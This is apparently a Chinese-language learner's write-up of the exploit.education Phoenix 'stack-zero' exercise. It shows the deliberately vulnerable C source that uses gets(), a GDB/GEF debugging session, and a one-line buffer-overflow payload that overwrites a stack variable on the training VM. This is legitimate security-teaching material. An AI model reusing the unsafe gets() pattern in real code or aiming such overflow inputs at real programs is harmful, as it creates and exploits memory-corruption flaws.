exploit.education/stack-zero 作为一个逆向、pwn的新手新新手,找个练习的平台还是不错的。最近在看 liveOverFlow
的Youtube视频,发现了这个东西,感觉不错,跟着做一做,希望能够有所提升。
环境
在https://exploit.education
网站下载Phoenix
虚拟镜像
安装qemu
解压镜像文件,执行其中的boot-exploit-education-phoenix-amd64.sh
连接虚拟机: 1 ssh user@127.0.0.1 -p 2222
步骤 首先更新系统,更新gdb gef
, 参考https://github.com/hugsy/gef
在/opt/phoenix/amd64
下面就是我们要解决的binary了,在exploit.education
上面还有源码 ,来看下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *gets (char *) ;int main (int argc, char **argv) { struct { char buffer[64 ]; volatile int changeme; } locals; printf ("%s\n" , BANNER); locals.changeme = 0 ; gets(locals.buffer); if (locals.changeme != 0 ) { puts ("Well done, the 'changeme' variable has been changed!" ); } else { puts ( "Uh oh, 'changeme' has not yet been changed. Would you like to try " "again?" ); } exit (0 ); }
locals
结构体有两个成员,一个是64字节大小的char
类型的buffer
变量,一个是4字节大小的volatile int
类型的changeme
变量。
程序首先会输出一句话,然后将locals
结构体中的changeme
成员赋值为0
,然后通过使用gets
函数获取用户输入,将内容写入locals
结构体中的buffer
中去。
1 2 3 4 5 6 7 8 9 10 $ man gets ... DESCRIPTION ... The gets() function is equivalent to fgets() with an infinite size and a stream of stdin, except that the newline character (if any) is not stored in the string. It is the caller's responsibility to ensure that the input line, if any, is sufficiently short to fit in the string. ... SECURITY CONSIDERATIONS The gets() function cannot be used securely. Because of its lack of bounds checking, and the inability for the calling program to reliably determine the length of the next incoming line, the use of this function enables malicious users to arbitrarily change a running program's functionality through a buffer overflow attack. It is strongly suggested that the fgets() function be used in all cases. (See the FSA.)
gets
函数没有检查输入的大小,就直接将输入写入到地址中,造成了bof。很简单的一个程序。过关方式是将locals.changeme
改变。
使用GDB调试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-zero GEF for linux ready, type `gef' to start, `gef config' to configure 78 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from stack-zero...(no debugging symbols found)...done. gef➤ start [+] Breaking at '{<text variable, no debug info>} 0x4005dd <main>' [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $ rax : 0x0 $ rbx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" $ rcx : 0x0 $ rdx : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8" $ rsp : 0x00007fffffffe610 → 0x0000000000000001 $ rbp : 0x00007fffffffe610 → 0x0000000000000001 $ rsi : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" $ rdi : 0x1 $ rip : 0x00000000004005e1 → <main+4> sub rsp, 0x60 $ r8 : 0x0000000000400672 → <_fini+0> push rax $ r9 : 0x0 $ r10 : 0x00007ffff7dfa767 → 0x4c00636f6c6c616d ("malloc" ?) $ r11 : 0x00007ffff7ffd9e0 → 0x00007ffff7d6b000 → 0x00010102464c457f $ r12 : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8" $ r13 : 0x00000000004005dd → <main+0> push rbp $ r14 : 0x0 $ r15 : 0x0 $ eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification] $ cs: 0x0033 $ss : 0x002b $ds : 0x0000 $es : 0x0000 $fs : 0x0000 $gs : 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe610│+0x0000: 0x0000000000000001 ← $rsp, $rbp 0x00007fffffffe618│+0x0008: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax 0x00007fffffffe620│+0x0010: 0x0000000000000000 0x00007fffffffe628│+0x0018: 0x00007fffffffe660 → 0x0000000000000001 0x00007fffffffe630│+0x0020: 0x0000000000000000 0x00007fffffffe638│+0x0028: 0x00007ffff7ffdbc8 → 0x00007ffff7ffdbc8 → [loop detected] 0x00007fffffffe640│+0x0030: 0x0400000100003e00 0x00007fffffffe648│+0x0038: 0x00000000004004a9 → nop DWORD PTR [rax+0x0] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4005d8 <frame_dummy+40> jmp 0x4004e0 <register_tm_clones> 0x4005dd <main+0> push rbp 0x4005de <main+1> mov rbp, rsp → 0x4005e1 <main+4> sub rsp, 0x60 0x4005e5 <main+8> mov DWORD PTR [rbp-0x54], edi 0x4005e8 <main+11> mov QWORD PTR [rbp-0x60], rsi 0x4005ec <main+15> mov edi, 0x400680 0x4005f1 <main+20> call 0x400440 <puts@plt> 0x4005f6 <main+25> mov DWORD PTR [rbp-0x10], 0x0 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [# 0] Id 1, Name: "stack-zero" , stopped, reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [# 0] 0x4005e1 → main()
查看一下汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 gef➤ disassemble Dump of assembler code for function main: 0x00000000004005dd <+0>: push rbp 0x00000000004005de <+1>: mov rbp,rsp => 0x00000000004005e1 <+4>: sub rsp,0x60 0x00000000004005e5 <+8>: mov DWORD PTR [rbp-0x54],edi 0x00000000004005e8 <+11>: mov QWORD PTR [rbp-0x60],rsi 0x00000000004005ec <+15>: mov edi,0x400680 0x00000000004005f1 <+20>: call 0x400440 <puts@plt> 0x00000000004005f6 <+25>: mov DWORD PTR [rbp-0x10],0x0 ;<=====将changeme赋值为0 0x00000000004005fd <+32>: lea rax,[rbp-0x50] ;<=====取栈上的一个地址,给RAX 0x0000000000400601 <+36>: mov rdi,rax ;<=====RAX=RDI为gets的参数 0x0000000000400604 <+39>: call 0x400430 <gets@plt> ;<=====这里调用gets函数 0x0000000000400609 <+44>: mov eax,DWORD PTR [rbp-0x10] ;<=====将changeme的值赋值给eax,在这里设置数点,来观察我们的输入在栈上是什么样子 0x000000000040060c <+47>: test eax,eax ;<=====eax是否为0 0x000000000040060e <+49>: je 0x40061c <main+63> 0x0000000000400610 <+51>: mov edi,0x4006d0 0x0000000000400615 <+56>: call 0x400440 <puts@plt> 0x000000000040061a <+61>: jmp 0x400626 <main+73> 0x000000000040061c <+63>: mov edi,0x400708 0x0000000000400621 <+68>: call 0x400440 <puts@plt> 0x0000000000400626 <+73>: mov edi,0x0 0x000000000040062b <+78>: call 0x400450 <exit@plt> End of assembler dump.
由于中64位系统,参数的时候会依次使用rdi
,rsi
,rdx
,rcx
,r8
和r9
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 gef➤ break * 0x0000000000400609 Breakpoint 1 at 0x400609 gef➤ c Continuing. Welcome to phoenix/stack-zero, brought to you by https://exploit.education AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1 ;<=====这里是我们的输入 Breakpoint 1, 0x0000000000400609 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $ rax : 0x00007fffffffe5c0 → "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]" $ rbx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" $ rcx : 0x8080808080808080 $ rdx : 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" $ rsp : 0x00007fffffffe5b0 → 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" $ rbp : 0x00007fffffffe610 → 0x0000000000000001 $ rsi : 0xfefefefefefefeff $ rdi : 0x00007fffffffe602 → 0x0000000000000000 $ rip : 0x0000000000400609 → <main+44> mov eax, DWORD PTR [rbp-0x10] $ r8 : 0x00007fffffffe5c0 → "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]" $ r9 : 0xa0a0a0a0a0a0a0a ("\n\n\n\n\n\n\n\n" ?) $ r10 : 0x8080808080808080 $ r11 : 0x2 $ r12 : 0x00007fffffffe678 → 0x00007fffffffe896 → "LC_ALL=en_US.UTF-8" $ r13 : 0x00000000004005dd → <main+0> push rbp $ r14 : 0x0 $ r15 : 0x0 $ eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification] $ cs: 0x0033 $ss : 0x002b $ds : 0x0000 $es : 0x0000 $fs : 0x0000 $gs : 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe5b0│+0x0000: 0x00007fffffffe668 → 0x00007fffffffe878 → "/opt/phoenix/amd64/stack-zero" ← $rsp 0x00007fffffffe5b8│+0x0008: 0x0000000100000000 0x00007fffffffe5c0│+0x0010: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM[...]" ← $rax, $r8 0x00007fffffffe5c8│+0x0018: "CCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOO[...]" 0x00007fffffffe5d0│+0x0020: "EEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1" 0x00007fffffffe5d8│+0x0028: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1" 0x00007fffffffe5e0│+0x0030: "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1" 0x00007fffffffe5e8│+0x0038: "KKKKLLLLMMMMNNNNOOOOPPPP1" ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4005fd <main+32> lea rax, [rbp-0x50] 0x400601 <main+36> mov rdi, rax 0x400604 <main+39> call 0x400430 <gets@plt> → 0x400609 <main+44> mov eax, DWORD PTR [rbp-0x10] 0x40060c <main+47> test eax, eax 0x40060e <main+49> je 0x40061c <main+63> 0x400610 <main+51> mov edi, 0x4006d0 0x400615 <main+56> call 0x400440 <puts@plt> 0x40061a <main+61> jmp 0x400626 <main+73> ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [# 0] Id 1, Name: "stack-zero" , stopped, reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [# 0] 0x400609 → main() gef➤ x/s $rbp-0x50 ;<================查看我们的输入 0x7fffffffe5c0: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1" gef➤ x/s $rbp-0x10 ;<================查看changeme在栈中的值 0x7fffffffe600: "1" gef➤ c Continuing. Well done, the 'changeme' variable has been changed! [Inferior 1 (process 2862) exited normally]
OK,一句命令的话,就是这样:
1 2 3 user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*64+"1"' | ./stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
总结
gdb打开文件之后要start
运行起来
gdb命令:
disassemble
: 查看当前函数的汇编代码
break
: 设置数点,如果后面跟一个地址,加*
x/s $rbp-0x10
: 以字符串的格式查看[rbp-0x10]地址处的值
c
: continue,继续运行程序